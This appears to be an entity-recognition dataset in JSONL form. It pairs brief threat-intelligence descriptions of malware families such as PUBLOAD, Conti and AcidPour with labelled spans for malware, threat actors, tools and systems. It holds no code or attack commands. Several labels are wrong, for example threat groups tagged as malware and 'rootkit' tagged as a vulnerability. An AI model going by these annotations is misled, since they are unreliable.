+{"text": "PUBLOAD is a stager malware that has been observed installing itself in existing directories such as `C:\\Users\\Public` or creating new directories to stage the malware and its components.  PUBLOAD malware collects details of the victim host, establishes persistence, encrypts victim details using RC4 and communicates victim details back to C2.  PUBLOAD malware has previously been leveraged by China-affiliated actors identified as Mustang Panda.   PUBLOAD is also known as “NoFive” and some public reporting identifies the loader component as CLAIMLOADER.", "spans": {"FILEPATH: C:\\Users\\Public`": [[102, 118]], "MALWARE: PUBLOAD": [[0, 7], [189, 196], [346, 353], [450, 457]], "THREAT_ACTOR: Mustang Panda": [[433, 446]], "MALWARE: CLAIMLOADER": [[545, 556]]}, "info": {"source": "apt_reports", "name": "PUBLOAD"}}
+{"text": "Gootloader is a Javascript-based infection framework that has been used since at least 2020 as a delivery method for the Gootkit banking trojan, Cobalt Strike, REvil, and others. Gootloader operates on an \"Initial Access as a Service\" model and has leveraged SEO Poisoning to provide access to entities in multiple sectors worldwide including financial, military, automotive, pharmaceutical, and energy.", "spans": {"MALWARE: Gootloader": [[0, 10], [179, 189]], "THREAT_ACTOR: Cobalt": [[145, 151]], "TOOL: Cobalt Strike": [[145, 158]], "MALWARE: REvil": [[160, 165]]}, "info": {"source": "apt_reports", "name": "Gootloader"}}
+{"text": "PingPull is a remote access Trojan (RAT) written in Visual C++ that has been used by GALLIUM since at least June 2022. PingPull has been used to target telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam.", "spans": {"MALWARE: PingPull": [[0, 8], [119, 127]], "THREAT_ACTOR: GALLIUM": [[85, 92]]}, "info": {"source": "apt_reports", "name": "PingPull"}}
+{"text": "WellMess is lightweight malware family with variants written in .NET and Golang that has been in use since at least 2018 by APT29.", "spans": {"MALWARE: WellMess": [[0, 8]], "THREAT_ACTOR: APT29": [[124, 129]], "SYSTEM: .NET": [[64, 68]]}, "info": {"source": "apt_reports", "name": "WellMess"}}
+{"text": "Dacls is a multi-platform remote access tool used by Lazarus Group since at least December 2019.", "spans": {"MALWARE: Dacls": [[0, 5]], "THREAT_ACTOR: Lazarus Group": [[53, 66]]}, "info": {"source": "apt_reports", "name": "Dacls"}}
+{"text": "DropBook is a Python-based backdoor compiled with PyInstaller.", "spans": {"MALWARE: DropBook": [[0, 8]], "SYSTEM: Python": [[14, 20]]}, "info": {"source": "apt_reports", "name": "DropBook"}}
+{"text": "Woody RAT is a remote access trojan (RAT) that has been used since at least August 2021 against Russian organizations.", "spans": {"MALWARE: Woody RAT": [[0, 9]]}, "info": {"source": "apt_reports", "name": "Woody RAT"}}
+{"text": "Mafalda is a flexible interactive implant that has been used by Metador. Security researchers assess the Mafalda name may be inspired by an Argentinian cartoon character that has been popular as a means of political commentary since the 1960s.", "spans": {"MALWARE: Mafalda": [[0, 7], [105, 112]], "THREAT_ACTOR: Metador": [[64, 71]]}, "info": {"source": "apt_reports", "name": "Mafalda"}}
+{"text": "KARAE is a backdoor typically used by APT37 as first-stage malware.", "spans": {"MALWARE: KARAE": [[0, 5]], "THREAT_ACTOR: APT37": [[38, 43]]}, "info": {"source": "apt_reports", "name": "KARAE"}}
+{"text": "Squirrelwaffle is a loader that was first seen in September 2021. It has been used in spam email campaigns to deliver additional malware such as Cobalt Strike and the QakBot banking trojan.", "spans": {"MALWARE: Squirrelwaffle": [[0, 14]], "THREAT_ACTOR: Cobalt": [[145, 151]], "TOOL: Cobalt Strike": [[145, 158]], "MALWARE: QakBot": [[167, 173]]}, "info": {"source": "apt_reports", "name": "Squirrelwaffle"}}
+{"text": "ELMER is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by APT16.", "spans": {"MALWARE: ELMER": [[0, 5]], "THREAT_ACTOR: APT16": [[93, 98]]}, "info": {"source": "apt_reports", "name": "ELMER"}}
+{"text": "CANONSTAGER is a loader known to be leveraged by Mustang Panda and was first observed utilized in 2025.  Mustang Panda utilizes DLL side-loading to execute within the victim environment prior to delivering a follow-on malicious encrypted payload.  CANONSTAGER leverages Thread Local Storage (TLS) and Native Windows APIs within the victim environment to elude detections. CANONSTAGER also hides its code utilizing window procedures and message queues.", "spans": {"MALWARE: CANONSTAGER": [[0, 11], [248, 259], [372, 383]], "THREAT_ACTOR: Mustang Panda": [[49, 62], [105, 118]], "SYSTEM: Windows": [[308, 315]], "VULNERABILITY: DLL side-loading": [[128, 144]]}, "info": {"source": "apt_reports", "name": "CANONSTAGER"}}
+{"text": "PolyglotDuke is a downloader that has been used by APT29 since at least 2013. PolyglotDuke has been used to drop MiniDuke.", "spans": {"MALWARE: PolyglotDuke": [[0, 12], [78, 90]], "THREAT_ACTOR: APT29": [[51, 56]], "MALWARE: MiniDuke": [[113, 121]]}, "info": {"source": "apt_reports", "name": "PolyglotDuke"}}
+{"text": "HexEval Loader is a hex-encoded loader that collects host data, decodes follow-on scripts and acts as a downloader for the BeaverTail malware.  HexEval Loader was first reported in April 2025.  HexEval Loader has previously been leveraged by North Korea-affiliated threat actors identified as Contagious Interview.  HexEval Loader has been delivered to victims through code repository sites utilizing typosquatting naming conventions of various npm packages.", "spans": {"MALWARE: HexEval Loader": [[0, 14], [144, 158], [194, 208], [316, 330]], "THREAT_ACTOR: Contagious Interview": [[293, 313]], "MALWARE: BeaverTail": [[123, 133]]}, "info": {"source": "apt_reports", "name": "HexEval Loader"}}
+{"text": "A Linux rootkit that provides backdoor access and hides from defenders.", "spans": {"SYSTEM: Linux": [[2, 7]], "VULNERABILITY: rootkit": [[8, 15]]}, "info": {"source": "apt_reports", "name": "Umbreon"}}
+{"text": "AuTo Stealer is malware written in C++ has been used by SideCopy since at least December 2021 to target government agencies and personnel in India and Afghanistan.", "spans": {"MALWARE: AuTo Stealer": [[0, 12]], "THREAT_ACTOR: SideCopy": [[56, 64]]}, "info": {"source": "apt_reports", "name": "AuTo Stealer"}}
+{"text": "ShrinkLocker is a VBS-based malicious script that leverages the legitimate Bitlocker application to encrypt files on victim systems for ransom. ShrinkLocker functions by using Bitlocker to encrypt files, then renames impacted drives to the adversary’s contact email address to facilitate communication for the ransom payment.", "spans": {"MALWARE: ShrinkLocker": [[0, 12], [144, 156]]}, "info": {"source": "apt_reports", "name": "ShrinkLocker"}}
+{"text": "Hildegard is malware that targets misconfigured kubelets for initial access and runs cryptocurrency miner operations. The malware was first observed in January 2021. The TeamTNT activity group is believed to be behind Hildegard.", "spans": {"MALWARE: Hildegard": [[0, 9], [218, 227]], "THREAT_ACTOR: TeamTNT": [[170, 177]]}, "info": {"source": "apt_reports", "name": "Hildegard"}}
+{"text": "Agent.btz is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008.", "spans": {"MALWARE: Agent.btz": [[0, 9]]}, "info": {"source": "apt_reports", "name": "Agent.btz"}}
+{"text": "SLOWDRIFT is a backdoor used by APT37 against academic and strategic victims in South Korea.", "spans": {"MALWARE: SLOWDRIFT": [[0, 9]], "THREAT_ACTOR: APT37": [[32, 37]]}, "info": {"source": "apt_reports", "name": "SLOWDRIFT"}}
+{"text": "SHUTTERSPEED is a backdoor used by APT37.", "spans": {"MALWARE: SHUTTERSPEED": [[0, 12]], "THREAT_ACTOR: APT37": [[35, 40]]}, "info": {"source": "apt_reports", "name": "SHUTTERSPEED"}}
+{"text": "SombRAT is a modular backdoor written in C++ that has been used since at least 2019 to download and execute malicious payloads, including FIVEHANDS ransomware.", "spans": {"MALWARE: SombRAT": [[0, 7]], "MALWARE: FIVEHANDS": [[138, 147]]}, "info": {"source": "apt_reports", "name": "SombRAT"}}
+{"text": "ODAgent is a C#/.NET downloader that has been used by OilRig since at least 2022 including against target organizations in Israel to download and execute payloads and to exfiltrate staged files.", "spans": {"MALWARE: ODAgent": [[0, 7]], "THREAT_ACTOR: OilRig": [[54, 60]], "SYSTEM: .NET": [[16, 20]]}, "info": {"source": "apt_reports", "name": "ODAgent"}}
+{"text": "BlackByte 2.0 Ransomware is a replacement for BlackByte Ransomware. Unlike BlackByte Ransomware, BlackByte 2.0 Ransomware does not have a common key for victim decryption. BlackByte 2.0 Ransomware remains uniquely associated with BlackByte operations.", "spans": {"MALWARE: BlackByte 2.0 Ransomware": [[0, 24], [97, 121], [172, 196]], "MALWARE: BlackByte Ransomware": [[46, 66], [75, 95]], "MALWARE: BlackByte": [[0, 9], [46, 55], [75, 84], [97, 106], [172, 181], [230, 239]]}, "info": {"source": "apt_reports", "name": "BlackByte 2.0 Ransomware"}}
+{"text": "FlawedGrace is a fully featured remote access tool (RAT) written in C++ that was first observed in late 2017.", "spans": {"MALWARE: FlawedGrace": [[0, 11]]}, "info": {"source": "apt_reports", "name": "FlawedGrace"}}
+{"text": "FLASHFLOOD is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.", "spans": {"MALWARE: FLASHFLOOD": [[0, 10]], "THREAT_ACTOR: APT30": [[35, 40], [114, 119]]}, "info": {"source": "apt_reports", "name": "FLASHFLOOD"}}
+{"text": "FlawedAmmyy is a remote access tool (RAT) that was first seen in early 2016. The code for FlawedAmmyy was based on leaked source code for a version of Ammyy Admin, a remote access software.", "spans": {"MALWARE: FlawedAmmyy": [[0, 11], [90, 101]], "TOOL: Ammyy Admin": [[151, 162]]}, "info": {"source": "apt_reports", "name": "FlawedAmmyy"}}
+{"text": "Snip3 is a sophisticated crypter-as-a-service that has been used since at least 2021 to obfuscate and load numerous strains of malware including AsyncRAT, Revenge RAT, Agent Tesla, and NETWIRE.", "spans": {"MALWARE: Snip3": [[0, 5]], "TOOL: AsyncRAT": [[145, 153]], "MALWARE: NETWIRE": [[185, 192]], "MALWARE: Revenge RAT": [[155, 166]], "MALWARE: Agent Tesla": [[168, 179]]}, "info": {"source": "apt_reports", "name": "Snip3"}}
+{"text": "FYAnti is a loader that has been used by menuPass since at least 2020, including to deploy QuasarRAT.", "spans": {"MALWARE: FYAnti": [[0, 6]], "TOOL: QuasarRAT": [[91, 100]], "MALWARE: menuPass": [[41, 49]]}, "info": {"source": "apt_reports", "name": "FYAnti"}}
+{"text": "Rifdoor is a remote access trojan (RAT) that shares numerous code similarities with HotCroissant.", "spans": {"MALWARE: Rifdoor": [[0, 7]], "MALWARE: HotCroissant": [[84, 96]]}, "info": {"source": "apt_reports", "name": "Rifdoor"}}
+{"text": "SUGARUSH is a small custom backdoor that can establish a reverse shell over TCP to a hard coded C2 address. SUGARUSH was first identified during analysis of UNC3890's C0010 campaign targeting Israeli companies, which began in late 2020.", "spans": {"MALWARE: SUGARUSH": [[0, 8], [108, 116]], "THREAT_ACTOR: UNC3890": [[157, 164]], "THREAT_ACTOR: C0010": [[167, 172]]}, "info": {"source": "apt_reports", "name": "SUGARUSH"}}
+{"text": "LoFiSe has been used by ToddyCat since at least 2023 to identify and collect files of interest on targeted systems.", "spans": {"MALWARE: LoFiSe": [[0, 6]], "THREAT_ACTOR: ToddyCat": [[24, 32]]}, "info": {"source": "apt_reports", "name": "LoFiSe"}}
+{"text": "HOPLIGHT is a backdoor Trojan that has reportedly been used by the North Korean government.", "spans": {"MALWARE: HOPLIGHT": [[0, 8]]}, "info": {"source": "apt_reports", "name": "HOPLIGHT"}}
+{"text": "Cuckoo Stealer is a macOS malware with characteristics of spyware and an infostealer that has been in use since at least 2024. Cuckoo Stealer is a universal Mach-O binary that can run on Intel or ARM-based Macs and has been spread through trojanized versions of various potentially unwanted programs or PUP's such as converters, cleaners, and uninstallers.", "spans": {"MALWARE: Cuckoo Stealer": [[0, 14], [127, 141]], "SYSTEM: macOS": [[20, 25]], "ORGANIZATION: Intel": [[187, 192]]}, "info": {"source": "apt_reports", "name": "Cuckoo Stealer"}}
+{"text": "GuLoader is a file downloader that has been used since at least December 2019 to distribute a variety of remote administration tool (RAT) malware, including NETWIRE, Agent Tesla, NanoCore, FormBook, and Parallax RAT.", "spans": {"MALWARE: GuLoader": [[0, 8]], "MALWARE: Parallax RAT": [[203, 215]], "MALWARE: NETWIRE": [[157, 164]], "MALWARE: NanoCore": [[179, 187]], "MALWARE: Agent Tesla": [[166, 177]]}, "info": {"source": "apt_reports", "name": "GuLoader"}}
+{"text": "MobileOrder is a Trojan intended to compromise Android mobile devices. It has been used by Scarlet Mimic.", "spans": {"MALWARE: MobileOrder": [[0, 11]], "THREAT_ACTOR: Scarlet Mimic": [[91, 104]], "SYSTEM: Android": [[47, 54]]}, "info": {"source": "apt_reports", "name": "MobileOrder"}}
+{"text": "WastedLocker is a ransomware family attributed to Indrik Spider that has been used since at least May 2020. WastedLocker has been used against a broad variety of sectors, including manufacturing, information technology, and media.", "spans": {"MALWARE: WastedLocker": [[0, 12], [108, 120]], "MALWARE: Indrik Spider": [[50, 63]]}, "info": {"source": "apt_reports", "name": "WastedLocker"}}
+{"text": "RegDuke is a first stage implant written in .NET and used by APT29 since at least 2017. RegDuke has been used to control a compromised machine when control of other implants on the machine was lost.", "spans": {"MALWARE: RegDuke": [[0, 7], [88, 95]], "THREAT_ACTOR: APT29": [[61, 66]], "SYSTEM: .NET": [[44, 48]]}, "info": {"source": "apt_reports", "name": "RegDuke"}}
+{"text": "ProLock is a ransomware strain that has been used in Big Game Hunting (BGH) operations since at least 2020, often obtaining initial access with QakBot. ProLock is the successor to PwndLocker ransomware which was found to contain a bug allowing decryption without ransom payment in 2019.", "spans": {"MALWARE: ProLock": [[0, 7], [152, 159]], "MALWARE: PwndLocker": [[180, 190]], "MALWARE: QakBot": [[144, 150]]}, "info": {"source": "apt_reports", "name": "ProLock"}}
+{"text": "Moneybird is a ransomware variant written in C++ associated with Agrius operations. The name \"Moneybird\" is contained in the malware's ransom note and as strings in the executable.", "spans": {"MALWARE: Moneybird": [[0, 9], [94, 103]], "MALWARE: Agrius": [[65, 71]]}, "info": {"source": "apt_reports", "name": "Moneybird"}}
+{"text": "InvisiMole is a modular spyware program that has been used by the InvisiMole Group since at least 2013. InvisiMole has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. Gamaredon Group infrastructure has been used to download and execute InvisiMole against a small number of victims.", "spans": {"THREAT_ACTOR: InvisiMole": [[0, 10], [66, 76], [104, 114], [360, 370]], "THREAT_ACTOR: Gamaredon Group": [[291, 306]], "MALWARE: RC2FM": [[147, 152]]}, "info": {"source": "apt_reports", "name": "InvisiMole"}}
+{"text": "CLAIMLOADER is a malware variant that frequently accompanies legitimate executables that are used for DLL side-loading known to be leveraged by Mustang Panda and was first observed utilized in 2021.", "spans": {"MALWARE: CLAIMLOADER": [[0, 11]], "THREAT_ACTOR: Mustang Panda": [[144, 157]], "VULNERABILITY: DLL side-loading": [[102, 118]]}, "info": {"source": "apt_reports", "name": "CLAIMLOADER"}}
+{"text": "P.A.S. Webshell is a publicly available multifunctional PHP webshell in use since at least 2016 that provides remote access and execution on target web servers.", "spans": {"MALWARE: P.A.S. Webshell": [[0, 15]], "SYSTEM: PHP": [[56, 59]]}, "info": {"source": "apt_reports", "name": "P.A.S. Webshell"}}
+{"text": "QUIETEXIT is a novel backdoor, based on the open-source Dropbear SSH client-server software, that has been used by APT29 since at least 2021. APT29 has deployed QUIETEXIT on opaque network appliances that typically don't support antivirus or endpoint detection and response tools within a victim environment.", "spans": {"MALWARE: QUIETEXIT": [[0, 9], [161, 170]], "THREAT_ACTOR: APT29": [[115, 120], [142, 147]], "TOOL: SSH": [[65, 68]]}, "info": {"source": "apt_reports", "name": "QUIETEXIT"}}
+{"text": "Naid is a trojan used by Elderwood to open a backdoor on compromised hosts.", "spans": {"MALWARE: Naid": [[0, 4]], "MALWARE: Elderwood": [[25, 34]]}, "info": {"source": "apt_reports", "name": "Naid"}}
+{"text": "Apostle is malware that has functioned as both a wiper and, in more recent versions, as ransomware.  Apostle is written in .NET and shares various programming and functional overlaps with IPsec Helper.", "spans": {"MALWARE: Apostle": [[0, 7], [101, 108]], "SYSTEM: .NET": [[123, 127]], "MALWARE: IPsec Helper": [[188, 200]]}, "info": {"source": "apt_reports", "name": "Apostle"}}
+{"text": "Volgmer is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing.", "spans": {"MALWARE: Volgmer": [[0, 7]], "VULNERABILITY: spearphishing": [[246, 259]]}, "info": {"source": "apt_reports", "name": "Volgmer"}}
+{"text": "WINERACK is a backdoor used by APT37.", "spans": {"MALWARE: WINERACK": [[0, 8]], "THREAT_ACTOR: APT37": [[31, 36]]}, "info": {"source": "apt_reports", "name": "WINERACK"}}
+{"text": "WhisperGate is a multi-stage wiper designed to look like ransomware that has been used against multiple government, non-profit, and information technology organizations in Ukraine since at least January 2022.", "spans": {"MALWARE: WhisperGate": [[0, 11]]}, "info": {"source": "apt_reports", "name": "WhisperGate"}}
+{"text": "FruitFly is designed to spy on mac users  .", "spans": {"MALWARE: FruitFly": [[0, 8]]}, "info": {"source": "apt_reports", "name": "FruitFly"}}
+{"text": "ZeroT is a Trojan used by TA459, often in conjunction with PlugX.", "spans": {"MALWARE: ZeroT": [[0, 5]], "MALWARE: PlugX": [[59, 64]], "MALWARE: TA459": [[26, 31]]}, "info": {"source": "apt_reports", "name": "ZeroT"}}
+{"text": "This piece of malware steals the content of the user's keychain while maintaining a permanent backdoor  .", "spans": {}, "info": {"source": "apt_reports", "name": "Keydnap"}}
+{"text": "AcidPour is a variant of AcidRain designed to impact a wider range of x86 architecture Linux devices. AcidPour is an x86 ELF binary that expands on the targeted devices and locations in AcidRain by including items such as Unsorted Block Image (UBI), Deice Mapper (DM), and various flash memory references. Based on this expanded targeting, AcidPour can impact a variety of device types including IoT, networking, and ICS embedded device types. AcidPour is a wiping payload associated with the Sandworm Team threat actor, and potentially linked to attacks against Ukrainian internet service providers (ISPs) in 2023.", "spans": {"MALWARE: AcidPour": [[0, 8], [102, 110], [340, 348], [444, 452]], "THREAT_ACTOR: Sandworm": [[493, 501]], "SYSTEM: Linux": [[87, 92]], "MALWARE: Sandworm Team": [[493, 506]], "MALWARE: AcidRain": [[25, 33], [186, 194]]}, "info": {"source": "apt_reports", "name": "AcidPour"}}
+{"text": "RDAT is a backdoor used by the suspected Iranian threat group OilRig. RDAT was originally identified in 2017 and targeted companies in the telecommunications sector.", "spans": {"MALWARE: RDAT": [[0, 4], [70, 74]], "THREAT_ACTOR: OilRig": [[62, 68]]}, "info": {"source": "apt_reports", "name": "RDAT"}}
+{"text": "Hacking Team UEFI Rootkit is a rootkit developed by the company Hacking Team as a method of persistence for remote access software.", "spans": {"MALWARE: Hacking Team UEFI Rootkit": [[0, 25]], "THREAT_ACTOR: Hacking Team": [[0, 12], [64, 76]], "SYSTEM: UEFI": [[13, 17]], "VULNERABILITY: rootkit": [[31, 38]]}, "info": {"source": "apt_reports", "name": "Hacking Team UEFI Rootkit"}}
+{"text": "Skidmap is a kernel-mode rootkit used for cryptocurrency mining.", "spans": {"MALWARE: Skidmap": [[0, 7]], "VULNERABILITY: rootkit": [[25, 32]]}, "info": {"source": "apt_reports", "name": "Skidmap"}}
+{"text": "Okrum is a Windows backdoor that has been seen in use since December 2016 with strong links to Ke3chang.", "spans": {"MALWARE: Okrum": [[0, 5]], "SYSTEM: Windows": [[11, 18]], "MALWARE: Ke3chang": [[95, 103]]}, "info": {"source": "apt_reports", "name": "Okrum"}}
+{"text": "TRANSLATEXT is malware that is believed to be used by Kimsuky. TRANSLATEXT masqueraded as a Google Translate extension for Google Chrome, but is actually a collection of four malicious Javascript files that perform defense evasion, information collection and exfiltration.", "spans": {"MALWARE: TRANSLATEXT": [[0, 11], [63, 74]], "THREAT_ACTOR: Kimsuky": [[54, 61]], "SYSTEM: Chrome": [[130, 136]], "ORGANIZATION: Google": [[92, 98], [123, 129]]}, "info": {"source": "apt_reports", "name": "TRANSLATEXT"}}
+{"text": "Regin is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some Regin timestamps date back to 2003.", "spans": {"MALWARE: Regin": [[0, 5], [144, 149]]}, "info": {"source": "apt_reports", "name": "Regin"}}
+{"text": "Bonadan is a malicious version of OpenSSH which acts as a custom backdoor. Bonadan has been active since at least 2018 and combines a new cryptocurrency-mining module with the same credential-stealing module used by the Onderon family of backdoors.", "spans": {"MALWARE: Bonadan": [[0, 7], [75, 82]], "SYSTEM: OpenSSH": [[34, 41]]}, "info": {"source": "apt_reports", "name": "Bonadan"}}
+{"text": "Line Dancer is a memory-only Lua-based shellcode loader associated with the ArcaneDoor campaign. Line Dancer allows an adversary to upload and execute arbitrary shellcode on victim devices.", "spans": {"MALWARE: Line Dancer": [[0, 11], [97, 108]], "THREAT_ACTOR: ArcaneDoor": [[76, 86]]}, "info": {"source": "apt_reports", "name": "Line Dancer"}}
+{"text": "SamSam is ransomware that appeared in early 2016. Unlike some ransomware, its variants have required operators to manually interact with the malware to execute some of its core components.", "spans": {"MALWARE: SamSam": [[0, 6]]}, "info": {"source": "apt_reports", "name": "SamSam"}}
+{"text": "Neoichor is C2 malware used by Ke3chang since at least 2019; similar malware families used by the group include Leeson and Numbldea.", "spans": {"MALWARE: Neoichor": [[0, 8]], "MALWARE: Ke3chang": [[31, 39]]}, "info": {"source": "apt_reports", "name": "Neoichor"}}
+{"text": "Conti is a Ransomware-as-a-Service (RaaS) that was first observed in December 2019. Conti has been deployed via TrickBot and used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using Conti steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.", "spans": {"MALWARE: Conti": [[0, 5], [84, 89], [267, 272]], "MALWARE: TrickBot": [[112, 120]]}, "info": {"source": "apt_reports", "name": "Conti"}}
+{"text": "Raspberry Robin is initial access malware first identified in September 2021, and active through early 2024. The malware is notable for spreading via infected USB devices containing a malicious LNK object that, on execution, retrieves remote hosted payloads for installation. Raspberry Robin has been widely used against various industries and geographies, and as a precursor to information stealer, ransomware, and other payloads such as SocGholish, Cobalt Strike, IcedID, and Bumblebee. The DLL componenet in the Raspberry Robin infection chain is also referred to as \"Roshtyak.\" The name \"Raspberry Robin\" is used to refer to both the malware as well as the threat actor associated with its use, although the Raspberry Robin operators are also tracked as <code>Storm-0856</code> by some vendors.", "spans": {"MALWARE: Raspberry Robin": [[0, 15], [276, 291], [515, 530], [592, 607], [712, 727]], "THREAT_ACTOR: Cobalt": [[451, 457]], "TOOL: Cobalt Strike": [[451, 464]], "MALWARE: SocGholish": [[439, 449]], "MALWARE: Bumblebee": [[478, 487]], "MALWARE: IcedID": [[466, 472]], "MALWARE: Roshtyak": [[571, 579]]}, "info": {"source": "apt_reports", "name": "Raspberry Robin"}}
+{"text": "Mispadu is a banking trojan written in Delphi that was first observed in 2019 and uses a Malware-as-a-Service (MaaS) business model. This malware is operated, managed, and sold by the Malteiro cybercriminal group. Mispadu has mainly been used to target victims in Brazil and Mexico, and has also had confirmed operations throughout Latin America and Europe.", "spans": {"MALWARE: Mispadu": [[0, 7], [214, 221]], "THREAT_ACTOR: Malteiro": [[184, 192]]}, "info": {"source": "apt_reports", "name": "Mispadu"}}
+{"text": "RemoteCMD is a custom tool used by APT3 to execute commands on a remote system similar to SysInternal's PSEXEC functionality.", "spans": {"MALWARE: RemoteCMD": [[0, 9]], "THREAT_ACTOR: APT3": [[35, 39]]}, "info": {"source": "apt_reports", "name": "RemoteCMD"}}
+{"text": "Megazord is a Rust-based variant of Akira ransomware that has been in use since at least August 2023 to target Windows environments. Megazord has been attributed to the Akira group based on overlapping infrastructure though is possibly not exclusive to the group.", "spans": {"MALWARE: Megazord": [[0, 8], [133, 141]], "SYSTEM: Rust": [[14, 18]], "SYSTEM: Windows": [[111, 118]], "MALWARE: Akira": [[36, 41], [169, 174]]}, "info": {"source": "apt_reports", "name": "Megazord"}}
+{"text": "Diavol is a ransomware variant first observed in June 2021 that is capable of prioritizing file types to encrypt based on a pre-configured list of extensions defined by the attacker.  The Diavol Ransomware-as-a Service (RaaS) program is managed by Wizard Spider and it has been observed being deployed by Bazar.", "spans": {"MALWARE: Diavol": [[0, 6], [188, 194]], "MALWARE: Wizard Spider": [[248, 261]], "MALWARE: Bazar": [[305, 310]]}, "info": {"source": "apt_reports", "name": "Diavol"}}
+{"text": "REPTILE is an open-source Linux rootkit with multiple components that provides backdoor access and functionality.", "spans": {"MALWARE: REPTILE": [[0, 7]], "SYSTEM: Linux": [[26, 31]], "VULNERABILITY: rootkit": [[32, 39]]}, "info": {"source": "apt_reports", "name": "REPTILE"}}
+{"text": "Raindrop is a loader used by APT29 that was discovered on some victim machines during investigations related to the SolarWinds Compromise. It was discovered in January 2021 and was likely used since at least May 2020.", "spans": {"MALWARE: Raindrop": [[0, 8]], "THREAT_ACTOR: SolarWinds Compromise": [[116, 137]], "THREAT_ACTOR: APT29": [[29, 34]], "SYSTEM: SolarWinds": [[116, 126]]}, "info": {"source": "apt_reports", "name": "Raindrop"}}
+{"text": "Doki is a backdoor that uses a unique Dogecoin-based Domain Generation Algorithm and was first observed in July 2020. Doki was used in conjunction with the ngrok Mining Botnet in a campaign that targeted Docker servers in cloud platforms.", "spans": {"MALWARE: Doki": [[0, 4], [118, 122]], "TOOL: ngrok": [[156, 161]], "SYSTEM: Docker": [[204, 210]]}, "info": {"source": "apt_reports", "name": "Doki"}}
+{"text": "TEXTMATE is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with POWERSOURCE in February 2017.", "spans": {"MALWARE: TEXTMATE": [[0, 8]], "TOOL: PowerShell": [[27, 37]], "MALWARE: POWERSOURCE": [[110, 121]]}, "info": {"source": "apt_reports", "name": "TEXTMATE"}}
+{"text": "Siloscape is malware that targets Kubernetes clusters through Windows containers. Siloscape was first observed in March 2021.", "spans": {"MALWARE: Siloscape": [[0, 9], [82, 91]], "SYSTEM: Kubernetes": [[34, 44]], "SYSTEM: Windows": [[62, 69]]}, "info": {"source": "apt_reports", "name": "Siloscape"}}
+{"text": "BlackCat is ransomware written in Rust that has been offered via the Ransomware-as-a-Service (RaaS) model. First observed November 2021, BlackCat has been used to target multiple sectors and organizations in various countries and regions in Africa, the Americas, Asia, Australia, and Europe.", "spans": {"MALWARE: BlackCat": [[0, 8], [137, 145]], "SYSTEM: Rust": [[34, 38]]}, "info": {"source": "apt_reports", "name": "BlackCat"}}
+{"text": "Fysbis is a Linux-based backdoor used by APT28 that dates back to at least 2014.", "spans": {"MALWARE: Fysbis": [[0, 6]], "THREAT_ACTOR: APT28": [[41, 46]], "SYSTEM: Linux": [[12, 17]]}, "info": {"source": "apt_reports", "name": "Fysbis"}}
+{"text": "IcedID is a modular banking malware designed to steal financial information that has been observed in the wild since at least 2017.  IcedID  has been downloaded by Emotet in multiple campaigns.", "spans": {"MALWARE: IcedID": [[0, 6], [133, 139]], "MALWARE: Emotet": [[164, 170]]}, "info": {"source": "apt_reports", "name": "IcedID"}}
+{"text": "VERMIN is a remote access tool written in the Microsoft .NET framework. It is mostly composed of original code, but also has some open source code.", "spans": {"MALWARE: VERMIN": [[0, 6]], "SYSTEM: .NET": [[56, 60]], "ORGANIZATION: Microsoft": [[46, 55]]}, "info": {"source": "apt_reports", "name": "VERMIN"}}
+{"text": "UBoatRAT is a remote access tool that was identified in May 2017.", "spans": {"MALWARE: UBoatRAT": [[0, 8]]}, "info": {"source": "apt_reports", "name": "UBoatRAT"}}
+{"text": "Nightdoor is a backdoor exclusively associated with Daggerfly operations. Nightdoor uses common libraries with MgBot and MacMa, linking these malware families together.", "spans": {"MALWARE: Nightdoor": [[0, 9], [74, 83]], "MALWARE: MgBot": [[111, 116]], "MALWARE: MacMa": [[121, 126]], "MALWARE: Daggerfly": [[52, 61]]}, "info": {"source": "apt_reports", "name": "Nightdoor"}}
+{"text": "MarkiRAT is a remote access Trojan (RAT) compiled with Visual Studio that has been used by Ferocious Kitten since at least 2015.", "spans": {"MALWARE: MarkiRAT": [[0, 8]], "THREAT_ACTOR: Ferocious Kitten": [[91, 107]], "MALWARE: Ferocious": [[91, 100]]}, "info": {"source": "apt_reports", "name": "MarkiRAT"}}
+{"text": "PowerShower is a PowerShell backdoor used by Inception for initial reconnaissance and to download and execute second stage payloads.", "spans": {"MALWARE: PowerShower": [[0, 11]], "TOOL: PowerShell": [[17, 27]], "MALWARE: Inception": [[45, 54]]}, "info": {"source": "apt_reports", "name": "PowerShower"}}
+{"text": "Kazuar is a fully featured, multi-platform backdoor Trojan written using the Microsoft .NET framework.", "spans": {"MALWARE: Kazuar": [[0, 6]], "SYSTEM: .NET": [[87, 91]], "ORGANIZATION: Microsoft": [[77, 86]]}, "info": {"source": "apt_reports", "name": "Kazuar"}}
+{"text": "NavRAT is a remote access tool designed to upload, download, and execute files. It has been observed in attacks targeting South Korea.", "spans": {"MALWARE: NavRAT": [[0, 6]]}, "info": {"source": "apt_reports", "name": "NavRAT"}}
+{"text": "DarkComet is a Windows remote administration tool and backdoor.", "spans": {"TOOL: DarkComet": [[0, 9]], "SYSTEM: Windows": [[15, 22]]}, "info": {"source": "apt_reports", "name": "DarkComet"}}
+{"text": "NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.”", "spans": {"MALWARE: NETEAGLE": [[0, 8]], "THREAT_ACTOR: APT30": [[36, 41]], "MALWARE: Scout": [[114, 119]]}, "info": {"source": "apt_reports", "name": "NETEAGLE"}}
+{"text": "POORAIM is a backdoor used by APT37 in campaigns since at least 2014.", "spans": {"MALWARE: POORAIM": [[0, 7]], "THREAT_ACTOR: APT37": [[30, 35]]}, "info": {"source": "apt_reports", "name": "POORAIM"}}
